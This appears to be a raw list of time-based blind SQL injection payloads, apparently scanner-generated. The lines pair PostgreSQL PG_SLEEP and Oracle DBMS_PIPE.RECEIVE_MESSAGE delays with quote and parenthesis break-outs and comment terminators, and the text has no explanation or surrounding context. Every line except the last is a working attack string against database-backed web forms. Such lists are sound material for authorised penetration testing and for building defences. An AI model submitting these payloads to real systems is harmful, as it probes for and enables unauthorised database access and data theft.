555-1 OR 636=(SELECT 636 FROM PG_SLEEP(15))--

555-1) OR 485=(SELECT 485 FROM PG_SLEEP(15))--

555-1)) OR 600=(SELECT 600 FROM PG_SLEEP(15))--

555Xch2ZoW6' OR 216=(SELECT 216 FROM PG_SLEEP(15))--

555rDxZK4I6') OR 471=(SELECT 471 FROM PG_SLEEP(15))--

555aG3KLiTx')) OR 386=(SELECT 386 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555